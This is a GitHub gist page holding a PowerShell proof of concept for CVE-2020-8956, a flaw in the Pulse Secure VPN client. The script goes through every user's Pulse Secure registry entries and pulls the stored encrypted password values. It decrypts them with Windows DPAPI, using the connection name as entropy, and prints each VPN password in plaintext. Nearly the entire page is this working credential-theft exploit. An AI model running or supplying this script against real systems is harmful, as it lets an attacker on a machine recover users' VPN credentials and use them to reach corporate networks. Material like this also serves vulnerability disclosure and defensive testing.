Skip to content

Instantly share code, notes, and snippets.

@unbaiat
Forked from qkaiser/CVE-2020-8956.ps1
Created October 29, 2020 07:53
Show Gist options
  • Save unbaiat/e43b143ceb99db7ed8efe80cf65f02dc to your computer and use it in GitHub Desktop.
Save unbaiat/e43b143ceb99db7ed8efe80cf65f02dc to your computer and use it in GitHub Desktop.
CVE-2020-8956 - Powershell PoC
Add-Type -AssemblyName System.Security;
$ives = Get-ItemProperty -Path 'Registry::HKEY_USERS\*\Software\Pulse Secure\Pulse\User Data\*'
foreach($ive in $ives) {
$ivename = $ive.PSPath.split('\')[-1].ToUpper()
Write-Host "[+] Checking IVE $($ivename)..."
$seed = [System.Text.Encoding]::GetEncoding('UTF-16').getBytes($ivename)
# 3 possible value names for password
$encrypted = $ive.Password1
if(!$encrypted){
$encrypted = $ive.Password2
}
if(!$encrypted){
$encrypted = $ive.Password3
}
$plaintext = [Text.Encoding]::Unicode.GetString([Security.Cryptography.ProtectedData]::Unprotect($encrypted, $seed, 'CurrentUser'))
Write-Host "[+] Password is $($plaintext)"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment